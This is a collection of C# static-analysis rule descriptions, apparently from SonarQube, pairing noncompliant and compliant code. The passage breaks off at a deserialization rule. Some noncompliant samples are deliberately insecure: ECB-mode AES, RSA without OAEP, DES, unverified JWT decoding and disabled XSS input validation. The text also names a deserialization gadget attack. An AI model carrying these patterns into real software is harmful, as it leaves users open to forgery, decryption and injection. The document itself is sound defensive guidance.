Serialization event handlers that don't have the correct signature will simply not be called, thus bypassing any attempts to augment the automated de/serialization.

This rule raises issue when a method marked with one of the following attributes is not private, does not return void, has type parameters, or does not have a single parameter of type System.Runtime.Serialization.StreamingContext:

  • System.Runtime.Serialization.OnSerializingAttribute
  • System.Runtime.Serialization.OnSerializedAttribute
  • System.Runtime.Serialization.OnDeserializingAttribute
  • System.Runtime.Serialization.OnDeserializedAttribute

Noncompliant Code Example

[Serializable]
public class Foo
{
    [OnSerializing]
    public void OnSerializing(StreamingContext context) {} // Noncompliant should be private

    [OnSerialized]
    int OnSerialized(StreamingContext context) {} // Noncompliant should return void

    [OnDeserializing]
    void OnDeserializing() {} // Noncompliant should have a single parameter of type StreamingContext

    [OnSerializing]
    public void OnSerializing2<T>(StreamingContext context) {} // Noncompliant should have no type parameters

    [OnDeserialized]
    void OnDeserialized(StreamingContext context, string str) {} // Noncompliant should have a single parameter of type StreamingContext
}

Compliant Solution

[Serializable]
public class Foo
{
    [OnSerializing]
    private void OnSerializing(StreamingContext context) {}

    [OnSerialized]
    private void OnSerialized(StreamingContext context) {}

    [OnDeserializing]
    private void OnDeserializing(StreamingContext context) {}

    [OnDeserialized]
    private void OnDeserialized(StreamingContext context) {}
}
csharpsquid:S1185

Overriding a method just to call the same method from the base class without performing any other actions is useless and misleading. The only time this is justified is in sealed overriding methods, where the effect is to lock in the parent class behavior. This rule ignores overrides of Equals and GetHashCode.

NOTE: In some cases it might be dangerous to add or remove empty overrides, as they might be breaking changes.

Noncompliant Code Example

public override void Method() // Noncompliant
{
  base.Method();
}

Compliant Solution

public override void Method()
{
  //do something else
}

Exceptions

If there is an attribute in any level of the overriding chain, then the overridden member is ignored.

public class Base
{
  [Required]
  public virtual string Name { get; set; }
}

public class Derived : Base
{
  public override string Name
  {
    get
    {
      return base.Name;
    }
    set
    {
      base.Name = value;
    }
  }
}

If there is a documentation comment on the overriding method, it will be ignored:

public class Foo : Bar
{
    /// <summary>
    /// Keep this method for backwards compatibility.
    /// </summary>
    public override void DoSomething()
    {
        base.DoSomething();
    }
}
csharpsquid:S4212

Because serialization constructors allocate and initialize objects, security checks that are present on regular constructors must also be present on a serialization constructor. Failure to do so would allow callers that could not otherwise create an instance to use the serialization constructor to do this.

This rule raises an issue when a type implements the System.Runtime.Serialization.ISerializable interface, is not a delegate or interface, is declared in an assembly that allows partially trusted callers and has a constructor that takes a System.Runtime.Serialization.SerializationInfo object and a System.Runtime.Serialization.StreamingContext object which is not secured by a security check, but one or more of the regular constructors in the type is secured.

Noncompliant Code Example

using System;
using System.IO;
using System.Runtime.Serialization;
using System.Runtime.Serialization.Formatters.Binary;
using System.Security;
using System.Security.Permissions;

[assembly: AllowPartiallyTrustedCallersAttribute()]
namespace MyLibrary
{
    [Serializable]
    public class Foo : ISerializable
    {
        private int n;

        [FileIOPermissionAttribute(SecurityAction.Demand, Unrestricted = true)]
        public Foo()
        {
           n = -1;
        }

        protected Foo(SerializationInfo info, StreamingContext context) // Noncompliant
        {
           n = (int)info.GetValue("n", typeof(int));
        }

        void ISerializable.GetObjectData(SerializationInfo info, StreamingContext context)
        {
           info.AddValue("n", n);
        }
    }
}

Compliant Solution

using System;
using System.IO;
using System.Runtime.Serialization;
using System.Runtime.Serialization.Formatters.Binary;
using System.Security;
using System.Security.Permissions;

[assembly: AllowPartiallyTrustedCallersAttribute()]
namespace MyLibrary
{
    [Serializable]
    public class Foo : ISerializable
    {
        private int n;

        [FileIOPermissionAttribute(SecurityAction.Demand, Unrestricted = true)]
        public Foo()
        {
           n = -1;
        }

        [FileIOPermissionAttribute(SecurityAction.Demand, Unrestricted = true)]
        protected Foo(SerializationInfo info, StreamingContext context)
        {
           n = (int)info.GetValue("n", typeof(int));
        }

        void ISerializable.GetObjectData(SerializationInfo info, StreamingContext context)
        {
           info.AddValue("n", n);
        }
    }
}

See

csharpsquid:S2275

Because composite format strings are interpreted at runtime, rather than validated by the compiler, they can contain errors that lead to unexpected behaviors or runtime errors. This rule statically validates the good behavior of composite formats when calling the methods of String.Format, StringBuilder.AppendFormat, Console.Write, Console.WriteLine, TextWriter.Write, TextWriter.WriteLine, Debug.WriteLine(String, Object[]), Trace.TraceError(String, Object[]), Trace.TraceInformation(String, Object[]), Trace.TraceWarning(String, Object[]) and TraceSource.TraceInformation(String, Object[]).

Noncompliant Code Example

s = string.Format("[0}", arg0);
s = string.Format("{{0}", arg0);
s = string.Format("{0}}", arg0);
s = string.Format("{-1}", arg0);
s = string.Format("{0} {1}", arg0);

Compliant Solution

s = string.Format("{0}", 42); // Compliant
s = string.Format("{0,10}", 42); // Compliant
s = string.Format("{0,-10}", 42); // Compliant
s = string.Format("{0:0000}", 42); // Compliant
s = string.Format("{2}-{0}-{1}", 1, 2, 3); // Compliant
s = string.Format("no format"); // Compliant

Exceptions

  • No issue is raised if the format string is not a const.
var pattern = "{0} {1} {2}";
var res = string.Format(pattern, 1, 2); // Compliant, not const string are not recognized
  • No issue is raised if the argument is not an inline creation array.
var array = new int[] {};
var res = string.Format("{0} {1}", array); // Compliant we don't know the size of the array
  • This rule doesn't check whether the format specifier (defined after the :) is actually valid.

See

csharpsquid:S1186

There are several reasons for a method not to have a method body:

  • It is an unintentional omission, and should be fixed.
  • It is not yet, or never will be, supported. In this case a NotSupportedException should be thrown.
  • The method is an intentionally-blank override. In this case a nested comment should explain the reason for the blank override.

Noncompliant Code Example

public override void DoSomething()
{
}

public override void DoSomethingElse()
{
}

Compliant Solution

public override void DoSomething()
{
  // Do nothing because of X and Y.
}

public override void DoSomethingElse()
{
  throw new NotSupportedException();
}

Exceptions

The following methods are ignored:

  • empty virtual methods,
  • empty methods that override an abstract method,
  • empty overrides in test assemblies.
csharpsquid:S3242

When a derived type is used as a parameter instead of the base type, it limits the uses of the method. If the additional functionality that is provided in the derived type is not requires then that limitation isn't required, and should be removed.

This rule raises an issue when a method declaration includes a parameter that is a derived type and accesses only members of the base type.

Noncompliant Code Example

using System;
using System.IO;

namespace MyLibrary
{
  public class Foo
  {
    public void ReadStream(FileStream stream) // Noncompliant: Uses only System.IO.Stream methods
    {
      int a;
      while ((a = stream.ReadByte()) != -1)
      {
            // Do something.
      }
    }
  }
}

Compliant Solution

using System;
using System.IO;

namespace MyLibrary
{
  public class Foo
  {
    public void ReadStream(Stream stream)
    {
      int a;
      while ((a = stream.ReadByte()) != -1)
      {
            // Do something.
      }
    }
  }
}
csharpsquid:S1066

Merging collapsible if statements increases the code's readability.

Noncompliant Code Example

if (condition1)
{
    if (condition2)
    {
        // ...
    }
}

Compliant Solution

if (condition1 && condition2)
{
    // ...
}
csharpsquid:S4210

When an assembly uses Windows Forms (classes and interfaces from the System.Windows.Forms namespace) its entry point should be marked with the STAThreadAttribute to indicate that the threading model should be "Single-Threaded Apartment" (STA) which is the only one supported by Windows Forms.

This rule raises an issue when the entry point (static void Main method) of an assembly using Windows Forms is not marked as STA.

Noncompliant Code Example

using System;
using System.Windows.Forms;

namespace MyLibrary
{
    public class MyForm: Form
    {
        public MyForm()
        {
            this.Text = "Hello World!";
        }

        public static void Main()  // Noncompliant
        {
            var form = new MyForm();
            Application.Run(form);
        }
    }
}

Compliant Solution

using System;
using System.Windows.Forms;

namespace MyLibrary
{
    public class MyForm: Form
    {
        public MyForm()
        {
            this.Text = "Hello World!";
        }

        [STAThread]
        public static void Main()
        {
            var form = new MyForm();
            Application.Run(form);
        }
    }
}
csharpsquid:S2156

The difference between private and protected visibility is that child classes can see and use protected members, but they cannot see private ones. Since a sealed class cannot have children, marking its members protected is confusingly pointless.

Noncompliant Code Example

public sealed class MySealedClass
{
    protected string name = "Fred";  // Noncompliant
    protected void SetName(string name) // Noncompliant
    {
        // ...
    }
}

Compliant Solution

public sealed class MySealedClass
{
    private string name = "Fred";
    public void SetName(string name)
    {
        // ...
    }
}
csharpsquid:S3366

In single-threaded environments, the use of this in constructors is normal, and expected. But in multi-threaded environments, it could expose partially-constructed objects to other threads, and should be used with caution.

The classic example is a class with a static list of its instances. If the constructor stores this in the list, another thread could access the object before it's fully-formed. Even when the storage of this is the last instruction in the constructor, there's still a danger if the class is not final. In that case, the initialization of subclasses won't be complete before this is exposed.

This rule raises an issue when this is assigned to any globally-visible object in a constructor, and when it is passed to the method of another object in a constructor

Noncompliant Code Example

public class Monument
{
  public static readonly List<Monument> ALL_MONUMENTS = new List<Monument>();
  // ...

  public Monument(string location, ...)
  {
    ALL_MONUMENTS.Add(this);  // Noncompliant; passed to a method of another object

    this.location = location;
    // ...
  }
}

Exceptions

This rule ignores instances of assigning this directly to a static field of the same class because that case is covered by S3010.

See

  • CERT, TSM01-J. - Do not let the this reference escape during object construction
  • CERT, TSM03-J. - Do not publish partially initialized objects
csharpsquid:S3244

It is possible to subscribe to events with anonymous delegates, but having done so, it is impossible to unsubscribe from them. That's because the process of subscribing adds the delegate to a list. The process of unsubscribing essentially says: remove this item from the subscription list. But because an anonymous delegate was used in both cases, the unsubscribe attempt tries to remove a different item from the list than was added. The result: NOOP.

Instead, save the delegate to a variable and use the variable to subscribe and unsubscribe.

Noncompliant Code Example

listView.PreviewTextInput += (obj,args) =>
        listView_PreviewTextInput(obj,args,listView);

// ...

listView.PreviewTextInput -= (obj, args) =>
        listView_PreviewTextInput(obj, args, listView); // Noncompliant; this delegate was never subscribed

Compliant Solution

EventHandler func = (obj,args) => listView_PreviewTextInput(obj,args,listView);

listView.PreviewTextInput += func;

// ...

listView.PreviewTextInput -= func;
csharpsquid:S5542

To perform secure cryptography, operation modes and padding scheme are essentials and should be used correctly according to the encryption algorithm:

  • For block cipher encryption algorithms (like AES), the GCM (Galois Counter Mode) mode that works internally with zero/no padding scheme, is recommended. At the opposite, these modes and/or schemes are highly discouraged:
    • Electronic Codebook (ECB) mode is vulnerable because it doesn't provide serious message confidentiality: under a given key any given plaintext block always gets encrypted to the same ciphertext block.
    • Cipher Block Chaining (CBC) with PKCS#5 padding (or PKCS#7) is vulnerable to padding oracle attacks.
  • RSA encryption algorithm should be used with the recommended padding scheme (OAEP)

Noncompliant Code Example

AesManaged object with insecure mode:

AesManaged aes4 = new AesManaged
{
  KeySize = 128,
  BlockSize = 128,
  Mode = CipherMode.ECB, // Noncompliant
  Padding = PaddingMode.PKCS7
};

RSACryptoServiceProvider object without OAEP padding:

RSACryptoServiceProvider RSA1 = new RSACryptoServiceProvider();
encryptedData = RSA1.Encrypt(dataToEncrypt, false); // Noncompliant: OAEP Padding is not used (second parameter set to false)

Compliant Solution

AES with GCM mode with bouncycastle library:

GcmBlockCipher blockCipher = new GcmBlockCipher(new AesEngine()); // Compliant
blockCipher.Init(true, new AeadParameters(new KeyParameter(secretKey), 128, iv, null));

AES with GCM mode with AesGcm object:

var aesGcm = new AesGcm(key); // Compliant

RSA with OAEP padding with RSACryptoServiceProvider object:

RSACryptoServiceProvider RSA2 = new RSACryptoServiceProvider();
encryptedData = RSA2.Encrypt(dataToEncrypt, true); // Compliant: OAEP Padding is used (second parameter set to true)

See

csharpsquid:S1067

The complexity of an expression is defined by the number of &&, || and condition ? ifTrue : ifFalse operators it contains.

A single expression's complexity should not become too high to keep the code readable.

Noncompliant Code Example

With the default threshold value of 3

if (((condition1 && condition2) || (condition3 && condition4)) && condition5) { ... }

Compliant Solution

if ((MyFirstCondition() || MySecondCondition()) && MyLastCondition()) { ... }
csharpsquid:S4211

Transparency attributes, SecurityCriticalAttribute and SecuritySafeCriticalAttribute are used to identify code that performs security-critical operations. The second one indicates that it is safe to call this code from transparent, while the first one does not. Since the transparency attributes of code elements with larger scope take precedence over transparency attributes of code elements that are contained in the first element a class, for instance, with a SecurityCriticalAttribute can not contain a method with a SecuritySafeCriticalAttribute.

This rule raises an issue when a member is marked with a System.Security security attribute that has a different transparency than the security attribute of a container of the member.

Noncompliant Code Example

using System;
using System.Security;

namespace MyLibrary
{

    [SecurityCritical]
    public class Foo
    {
        [SecuritySafeCritical] // Noncompliant
        public void Bar()
        {
        }
    }
}

Compliant Solution

using System;
using System.Security;

namespace MyLibrary
{

    [SecurityCritical]
    public class Foo
    {
        public void Bar()
        {
        }
    }
}

See

csharpsquid:S3247

Because the is operator performs a cast if the object is not null, using is to check type and then casting the same argument to that type, necessarily performs two casts. The same result can be achieved more efficiently with a single cast using as, followed by a null-check.

Noncompliant Code Example

if (x is Fruit)  // Noncompliant
{
  var f = (Fruit)x; // or x as Fruit
  // ...
}

Compliant Solution

var f = x as Fruit;
if (f != null)
{
  // code
}
csharpsquid:S5547

Strong cipher algorithms are cryptographic systems resistant to cryptanalysis, they are not vulnerable to well-known attacks like brute force attacks for example.

It is recommended to use only cipher algorithms intensively tested and promoted by the cryptographic community.

Noncompliant Code Example

var tripleDES1 = new TripleDESCryptoServiceProvider(); // Noncompliant: Triple DES is vulnerable to meet-in-the-middle attack

var simpleDES = new DESCryptoServiceProvider(); // Noncompliant: DES works with 56-bit keys allow attacks via exhaustive search

var RC2 = new RC2CryptoServiceProvider(); // Noncompliant: RC2 is vulnerable to a related-key attack

Compliant Solution

var AES = new AesCryptoServiceProvider(); // Compliant

See

csharpsquid:S3005

When a non-static class field is annotated with ThreadStatic, the code seems to show that the field can have different values for different calling threads, but that's not the case, since the ThreadStatic attribute is simply ignored on non-static fields.

So ThreadStatic should either be removed or replaced with a use of the ThreadLocal<T> class, which gives a similar behavior for non-static fields.

Noncompliant Code Example

public class MyClass
{
  [ThreadStatic]  // Noncompliant
  private int count = 0;

  // ...
}

Compliant Solution

public class MyClass
{
  private int count = 0;

  // ...
}

or

public class MyClass
{
  private readonly ThreadLocal<int> count = new ThreadLocal<int>();
  public int Count
  {
    get { return count.Value; }
    set { count.Value = value; }
  }
  // ...
}
csharpsquid:S3246

In the interests of making code as usable as possible, interfaces and delegates with generic parameters should use the out and in modifiers when possible to make the interfaces and delegates covariant and contravariant, respectively.

The out keyword can be used when the type parameter is used only as a return type in the interface or delegate. Doing so makes the parameter covariant, and allows interface and delegate instances created with a sub-type to be used as instances created with a base type. The most notable example of this is IEnumerable<out T>, which allows the assignment of an IEnumerable<string> instance to an IEnumerable<object> variable, for instance.

The in keyword can be used when the type parameter is used only as a method parameter in the interface or a parameter in the delegate. Doing so makes the parameter contravariant, and allows interface and delegate instances created with a base type to be used as instances created with a sub-type. I.e. this is the inversion of covariance. The most notable example of this is the Action<in T> delegate, which allows the assignment of an Action<object> instance to a Action<string> variable, for instance.

Noncompliant Code Example

interface IConsumer<T>  // Noncompliant
{
    bool Eat(T fruit);
}

Compliant Solution

interface IConsumer<in T>
{
    bool Eat(T fruit);
}
csharpsquid:S2278

According to the US National Institute of Standards and Technology (NIST), the Data Encryption Standard (DES) is no longer considered secure:

Adopted in 1977 for federal agencies to use in protecting sensitive, unclassified information, the DES is being withdrawn because it no longer provides the security that is needed to protect federal government information.

Federal agencies are encouraged to use the Advanced Encryption Standard, a faster and stronger algorithm approved as FIPS 197 in 2001.

For similar reasons, RC2 should also be avoided.

Noncompliant Code Example

using (var tripleDES = new TripleDESCryptoServiceProvider()) //Noncompliant
{
  //...
}

Compliant Solution

using (var aes = new AesCryptoServiceProvider())
{
  //...
}

See

Deprecated

This rule is deprecated; use S5547 instead.

csharpsquid:S1862

A chain of if/else if statements is evaluated from top to bottom. At most, only one branch will be executed: the first one with a condition that evaluates to true.

Therefore, duplicating a condition automatically leads to dead code. Usually, this is due to a copy/paste error. At best, it's simply dead code and at worst, it's a bug that is likely to induce further bugs as the code is maintained, and obviously it could lead to unexpected behavior.

Noncompliant Code Example

if (param == 1)
{
  OpenWindow();
}
else if (param == 2)
{
  CloseWindow();
}
else if (param == 1) // Noncompliant
{
  MoveWindowToTheBackground();
}

Compliant Solution

if (param == 1)
{
  OpenWindow();
}
else if (param == 2)
{
  CloseWindow();
}
else if (param == 3)
{
  MoveWindowToTheBackground();
}

See

  • CERT, MSC12-C. - Detect and remove code that has no effect or is never executed
csharpsquid:S2952

It is possible in an IDisposable to call Dispose on class members from any method, but the contract of Dispose is that it will clean up all unmanaged resources. Move disposing of members to some other method, and you risk resource leaks.

This rule also applies for disposable ref structs.

Noncompliant Code Example

public class ResourceHolder : IDisposable
{
  private FileStream fs;
  public void OpenResource(string path)
  {
    this.fs = new FileStream(path, FileMode.Open);
  }
  public void CloseResource()
  {
    this.fs.Close();
  }

  public void CleanUp()
  {
    this.fs.Dispose(); // Noncompliant; Dispose not called in class' Dispose method
  }

  public void Dispose()
  {
    // method added to satisfy demands of interface
  }
}

Compliant Solution

public class ResourceHolder : IDisposable
{
  private FileStream fs;
  public void OpenResource(string path)
  {
    this.fs = new FileStream(path, FileMode.Open);
  }
  public void CloseResource()
  {
    this.fs.Close();
  }

  public void Dispose()
  {
    this.fs.Dispose();
  }
}

See

csharpsquid:S3249

Making a base call in an overriding method is generally a good idea, but not in GetHashCode and Equals for classes that directly extend object because those methods are based on the object reference. Meaning that no two objects that use those base methods will ever be equal or have the same hash.

Noncompliant Code Example

public class Point
{
  private readonly int x;
  public MyClass(int x)
  {
    this.x = x;
  }
  public override int GetHashCode()
  {
    return x.GetHashCode() ^ base.GetHashCode(); //Noncompliant
  }
}

Compliant Solution

public class Point
{
  private readonly int x;
  public MyClass(int x)
  {
    this.x = x;
  }
  public override int GetHashCode()
  {
    return x.GetHashCode();
  }
}

Exceptions

This rule doesn't report on guard conditions checking for reference equality.

public class Point
{
  public override bool Equals(object obj)
  {
    if (base.Equals(obj)) // Compliant, although it could be replaced with object.ReferenceEquals(obj, this), which is clearer
    {
      return true;
    }
    ...
  }
}
csharpsquid:S4456

Because of the way yield methods are rewritten by the compiler (they become lazily evaluated state machines) any exceptions thrown during the parameters check will happen only when the collection is iterated over. That could happen far away from the source of the buggy code.

Therefore it is recommended to split the method into two: an outer method handling the validation (no longer lazy) and an inner (lazy) method to handle the iteration.

This rule raises an issue when a method throws any exception derived from ArgumentException and contains the yield keyword.

Noncompliant Code Example

public static IEnumerable<TSource> TakeWhile<TSource>(this IEnumerable<TSource> source, Func<TSource, bool> predicate) // Noncompliant
{
    if (source == null) { throw new ArgumentNullException(nameof(source)); }
    if (predicate == null) { throw new ArgumentNullException(nameof(predicate)); }

    foreach (var element in source)
    {
        if (!predicate(element)) { break; }
        yield return element;
    }
}

Compliant Solution

public static IEnumerable<TSource> TakeWhile<TSource>(this IEnumerable<TSource> source, Func<TSource, bool> predicate)
{
    if (source == null) { throw new ArgumentNullException(nameof(source)); }
    if (predicate == null) { throw new ArgumentNullException(nameof(predicate)); }
    return TakeWhileIterator<TSource>(source, predicate);
}

private static IEnumerable<TSource> TakeWhileIterator<TSource>(IEnumerable<TSource> source, Func<TSource, bool> predicate)
{
    foreach (TSource element in source)
    {
        if (!predicate(element)) break;
        yield return element;
    }
}
csharpsquid:S4214

Methods marked with the System.Runtime.InteropServices.DllImportAttribute attribute use Platform Invocation Services to access unmanaged code and should not be exposed. Keeping them private or internal makes sure that their access is controlled and properly managed.

This rule raises an issue when a method declared with DllImport is public or protected.

Noncompliant Code Example

using System;
using System.Runtime.InteropServices;

namespace MyLibrary
{
    public class Foo
    {
        [DllImport("kernel32.dll", CharSet = CharSet.Unicode)]
        public static extern bool RemoveDirectory(string name);  // Noncompliant
    }
}

Compliant Solution

using System;
using System.Runtime.InteropServices;

namespace MyLibrary
{
    public class Foo
    {
        [DllImport("kernel32.dll", CharSet = CharSet.Unicode)]
        private static extern bool RemoveDirectory(string name);
    }
}
csharpsquid:S4457

Because of the way async/await methods are rewritten by the compiler, any exceptions thrown during the parameters check will happen only when the task is observed. That could happen far away from the source of the buggy code or never happen for fire-and-forget tasks.

Therefore it is recommended to split the method into two: an outer method handling the parameter checks (without being async/await) and an inner method to handle the iterator block with the async/await pattern.

This rule raises an issue when an async method throws any exception derived from ArgumentException and contains await keyword.

Noncompliant Code Example

public static async Task SkipLinesAsync(this TextReader reader, int linesToSkip) // Noncompliant
{
    if (reader == null) { throw new ArgumentNullException(nameof(reader)); }
    if (linesToSkip < 0) { throw new ArgumentOutOfRangeException(nameof(linesToSkip)); }

    for (var i = 0; i < linesToSkip; ++i)
    {
        var line = await reader.ReadLineAsync().ConfigureAwait(false);
        if (line == null) { break; }
    }
}

Compliant Solution

public static Task SkipLinesAsync(this TextReader reader, int linesToSkip)
{
    if (reader == null) { throw new ArgumentNullException(nameof(reader)); }
    if (linesToSkip < 0) { throw new ArgumentOutOfRangeException(nameof(linesToSkip)); }

    return reader.SkipLinesInternalAsync(linesToSkip);
}

private static async Task SkipLinesInternalAsync(this TextReader reader, int linesToSkip)
{
    for (var i = 0; i < linesToSkip; ++i)
    {
        var line = await reader.ReadLineAsync().ConfigureAwait(false);
        if (line == null) { break; }
    }
}
csharpsquid:S1172

Unused parameters are misleading. Whatever the values passed to such parameters, the behavior will be the same.

This rule raises an issue when a private method of a class/struct takes a parameter without using it.

Noncompliant Code Example

private void DoSomething(int a, int b) // "b" is unused
{
    Compute(a);
}

private void DoSomething2(int a) // value of "a" is unused
{
    a = 10;
    Compute(a);
}

Compliant Solution

private void DoSomething(int a)
{
    Compute(a);
}

private void DoSomething2()
{
    var a = 10;
    Compute(a);
}

Exceptions

This rule doesn't raise any issue in the following contexts:

  • The this parameter of extension methods.
  • Methods decorated with attributes.
  • Empty methods.
  • Methods which only throw NotImplementedException.
  • Main methods.
  • virtual, override methods.
  • interface implementations.

See

  • CERT, MSC12-C. - Detect and remove code that has no effect or is never executed
csharpsquid:S3908

Since .Net Framework version 2.0 it is not necessary to declare a delegate that specifies a class derived from System.EventArgs. The System.EventHandler<TEventArgs> delegate mechanism should be used instead as it allows any class derived from EventArgs to be used with that handler.

This rule raises an issue when an old style delegate is used as an event handler.

Noncompliant Code Example

public class MyEventArgs : EventArgs
{
}

public delegate void MyEventHandler(object sender, MyEventArgs e); // Noncompliant

public class EventProducer
{
  public event MyEventHandler MyEvent;

  protected virtual void OnMyEvent(MyEventArgs e)
  {
    if (MyEvent != null)
    {
      MyEvent(e);
    }
  }
}

public class EventConsumer
{
  public EventConsumer(EventProducer producer)
  {
      producer.MyEvent += HandleEvent;
  }

  private void HandleEvent(object sender, MyEventArgs e)
  {
    // Do something...
  }
}

Compliant Solution

public class MyEventArgs : EventArgs
{
}

public class EventProducer
{
  public event EventHandler<MyEventArgs> MyEvent;

  protected virtual void OnMyEvent(MyEventArgs e)
  {
    if (MyEvent != null)
    {
      MyEvent(e);
    }
  }
}

public class EventConsumer
{
  public EventConsumer(EventProducer producer)
  {
      producer.MyEvent += HandleEvent;
  }

  private void HandleEvent(object sender, MyEventArgs e)
  {
    // Do something...
  }
}
csharpsquid:S3909

The NET Framework 2.0 introduced the generic interface System.Collections.Generic.IEnumerable<T> and it should be preferred over the older, non generic, interfaces.

This rule raises an issue when a public type implements System.Collections.IEnumerable.

Noncompliant Code Example

using System;
using System.Collections;

public class MyData
{
  public MyData()
  {
  }
}

public class MyList : CollectionBase // Noncompliant
{
  public void Add(MyData data)
  {
    InnerList.Add(data);
  }

  // ...
}

Compliant Solution

using System;
using System.Collections.ObjectModel;

public class MyData
{
  public MyData()
  {
  }
}

public class MyList : Collection<MyData>
{
  // Implementation...
}
csharpsquid:S2701

There's no reason to use literal boolean values in assertions. Doing so is at best confusing for maintainers, and at worst a bug.

Noncompliant Code Example

bool b = true;
NUnit.Framework.Assert.AreEqual(true, b);
Xunit.Assert.NotSame(true, b);
Microsoft.VisualStudio.TestTools.UnitTesting.Assert.AreEqual(true, b);
System.Diagnostics.Debug.Assert(true);
csharpsquid:S1854

A dead store happens when a local variable is assigned a value that is not read by any subsequent instruction. Calculating or retrieving a value only to then overwrite it or throw it away, could indicate a serious error in the code. Even if it's not an error, it is at best a waste of resources. Therefore all calculated values should be used.

Noncompliant Code Example

i = a + b; // Noncompliant; calculation result not used before value is overwritten
i = compute();

Compliant Solution

i = a + b;
i += compute();

Exceptions

No issue is reported when

  • the analyzed method body contains try blocks,
  • a lambda expression captures the local variables, or
  • the variable is unused (case covered by Rule S1481)
  • initializations to -1, 0, 1, null, true, false, "" and string.Empty.

See

csharpsquid:S5659

If a JSON Web Token (JWT) is not signed with a strong cipher algorithm (or not signed at all) an attacker can forge it and impersonate user identities.

  • Don't use none algorithm to sign or verify the validity of an algorithm.
  • Don't use a token without verifying its signature before.

Noncompliant Code Example

jwt-dotnet library:

var decodedtoken1 = decoder.Decode(token, secret, verify: false); // Noncompliant: signature should be verified

var decodedtoken2 = new JwtBuilder()
   .WithSecret(secret)
   .Decode(forgedtoken1); // Noncompliant: signature should be verified

Compliant Solution

jwt-dotnet library:

var decodedtoken1 = decoder.Decode(forgedtoken1, secret, verify: true); // Compliant

var decodedtoken2 = new JwtBuilder()
   .WithSecret(secret)
   .MustVerifySignature()
   .Decode(token); // Compliant

See

csharpsquid:S1858

Invoking a method designed to return a string representation of an object which is already a string is a waste of keystrokes. Similarly, explicitly invoking ToString() when the compiler would do it implicitly is also needless code-bloat.

This rule raises an issue when ToString() is invoked:

  • on a string
  • on a non-string operand to concatenation
  • on an argument to string.Format

Noncompliant Code Example

var s = "foo";
var t = "fee fie foe " + s.ToString();  // Noncompliant
var someObject = new object();
var u = "" + someObject.ToString(); // Noncompliant
var v = string.Format("{0}", someObject.ToString()); // Noncompliant

Compliant Solution

var s = "foo";
var t = "fee fie foe " + s;
var someObject = new object();
var u = "" + someObject;
var v = string.Format("{0}", someObject);

Exceptions

The rule does not report on value types, where leaving off the ToString() call would result in automatic boxing.

var v = string.Format("{0}", 1.ToString());
csharpsquid:S4564

ASP.Net has a feature to validate HTTP requests to prevent potentially dangerous content to perform a cross-site scripting (XSS) attack. There is no reason to disable this mechanism even if other checks to prevent XXS attacks are in place.

This rule raises an issue if a method with parameters is marked with System.Web.Mvc.HttpPostAttribute and not System.Web.Mvc.ValidateInputAttribute(true).

Noncompliant Code Example

public class FooBarController : Controller
{
    [HttpPost] // Noncompliant
    [ValidateInput(false)]
    public ActionResult Purchase(string input)
    {
        return Foo(input);
    }

    [HttpPost] // Noncompliant
    public ActionResult PurchaseSomethingElse(string input)
    {
        return Foo(input);
    }
}

Compliant Solution

public class FooBarController : Controller
{
    [HttpPost]
    [ValidateInput(true)] // Compliant
    public ActionResult Purchase(string input)
    {
        return Foo(input);
    }
}

Exceptions

Parameterless methods marked with System.Web.Mvc.HttpPostAttribute will not trigger this issue.

See

csharpsquid:S4201

There's no need to null test in conjunction with an is test. null is not an instance of anything, so a null check is redundant.

Noncompliant Code Example

if (x != null && x is MyClass) { ... }  // Noncompliant

if (x == null || !(x is MyClass)) { ... } // Noncompliant

Compliant Solution

if (x is MyClass) { ... }

if (!(x is MyClass)) { ... }
csharpsquid:S3353

Marking a variable that is unchanged after initialization const is an indication to future maintainers that "no this isn't updated, and it's not supposed to be". const should be used in these situations in the interests of code clarity.

Noncompliant Code Example

public bool Seek(int[] input)
{
  int target = 32;  // Noncompliant
  foreach (int i in input)
  {
    if (i == target)
    {
      return true;
    }
  }
  return false;
}

Compliant Solution

public bool Seek(int[] input)
{
  const int target = 32;
  foreach (int i in input)
  {
    if (i == target)
    {
      return true;
    }
  }
  return false;
}
csharpsquid:S2387

Having a variable with the same name in two unrelated classes is fine, but do the same thing within a class hierarchy and you'll get confusion at best, chaos at worst.

Noncompliant Code Example

public class Fruit
{
  protected Season ripe;
  protected Color flesh;

  // ...
}

public class Raspberry : Fruit
{
  private bool ripe; // Noncompliant
  private static Color FLESH; // Noncompliant
}

Compliant Solution

public class Fruit
{
  protected Season ripe;
  protected Color flesh;

  // ...
}

public class Raspberry : Fruit
{
  private bool ripened;
  private static Color FLESH_COLOR;
}

Exceptions

This rule ignores same-name fields that are static in both the parent and child classes. It also ignores private parent class fields, but in all other such cases, the child class field should be renamed.

public class Fruit
{
  private Season ripe;
  // ...
}

public class Raspberry : Fruit
{
  private Season ripe;  // Compliant as parent field 'ripe' is anyway not visible from Raspberry
  // ...
}
csharpsquid:S3234

GC.SuppressFinalize asks the Common Language Runtime not to call the finalizer of an object. This is useful when implementing the dispose pattern where object finalization is already handled in IDisposable.Dispose. However, it has no effect if there is no finalizer defined in the object's type, so using it in such cases is just confusing.

This rule raises an issue when GC.SuppressFinalize is called for objects of sealed types without a finalizer.

Note: S3971 is a stricter version of this rule. Typically it makes sense to activate only one of these 2 rules.

Noncompliant Code Example

sealed class MyClass
{
  public void Method()
  {
    ...
    GC.SuppressFinalize(this); //Noncompliant
  }
}

Compliant Solution

sealed class MyClass
{
  public void Method()
  {
    ...
  }
}
csharpsquid:S3597

The ServiceContract attribute specifies that a class or interface defines the communication contract of a Windows Communication Foundation (WCF) service. The service operations of this class or interface are defined by OperationContract attributes added to methods. It doesn't make sense to define a contract without any service operations; thus, in a ServiceContract class or interface at least one method should be annotated with OperationContract. Similarly, WCF only serves OperationContract methods that are defined inside ServiceContract classes or interfaces; thus, this rule also checks that ServiceContract is added to the containing type of OperationContract methods.

Noncompliant Code Example

[ServiceContract]
interface IMyService // Noncompliant
{
  int MyServiceMethod();
}

Compliant Solution

[ServiceContract]
interface IMyService
{
  [OperationContract]
  int MyServiceMethod();
}
csharpsquid:S5773

Failure to control types during deserialization can lead to runtime errors and vulnerabilities. There are many types, called "gadgets" (see ysoserial.net) which are known to be not secure when deserializing.

During the deserialization process, the state of an object will be reconstructed from the serialized data stream which can contain dangerous operations. For example, a well-known attack vector consists in serializing an object of type TempFileCollection with arbitrary files defined by the attacker which will be deleted on the application deserializing this object (more precisely when the finalize() method of the TempFileCollection object is called).

To restrict the types allowed to be deserialized:

  • implement a whitelist of safe and required types that can be deserialized.
  • or/and implement tamper protection, such as message authentication codes (MAC), this way only objects serialized with the correct MAC hash will be deserialized.

Noncompliant Code Example

For BinaryFormatter, NetDataContractSerializer , SoapFormatter serializers:

